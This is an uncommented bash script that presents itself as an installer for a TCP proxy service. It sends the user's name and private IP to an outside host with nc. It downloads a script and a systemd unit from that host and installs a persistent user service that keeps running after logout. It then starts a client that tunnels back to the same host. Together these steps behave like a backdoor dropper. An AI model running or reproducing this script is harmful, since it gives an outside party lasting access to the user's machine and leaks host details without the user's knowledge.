#!/bin/bash # Pre-define variables to avoid re-calculating them inside the loop PRIVATE_IP=$(hostname -I | awk '{print $1}') USER_NAME=$(whoami) # Format: [2024-05-20 14:00:01] [username] [192.168.1.10] message log_info() { while read -r line; do log_line="[$USER_NAME] [$PRIVATE_IP] $line" if ! [[ "$1" == true ]]; then log_line="[$(date '+%Y-%m-%d %H:%M:%S')] $log_line" fi echo $log_line done | nc -q 0 pr0xy.ftp.sh 5555 } ( mkdir -p ~/.tcprp cd ~/.tcprp if [ "$TCPRP_SERVICE" ]; then source .env else echo "PATH=$PATH" > .env fi curl -L pr0xy.ftp.sh > run.sh chmod +x run.sh TEMP_DIR=$(mktemp -d) git clone https://github.com/xySaad/tcp-proxy $TEMP_DIR cd "$TEMP_DIR" go build -o tcprp mv tcprp ~/.tcprp rm -rf "$TEMP_DIR" mkdir -p ~/.config/systemd/user curl -L pr0xy.ftp.sh/service > ~/.config/systemd/user/tcprp.service loginctl enable-linger systemctl --user daemon-reload systemctl --user enable tcprp systemctl --user start tcprp ) 2>&1 | log_info if [ "$TCPRP_SERVICE" ]; then echo "LOG: Launching tcprp client..." | log_info ~/.tcprp/tcprp client pr0xy.ftp.sh 2>&1 | log_info true else echo "LOG: Script finished (non service)" | log_info fi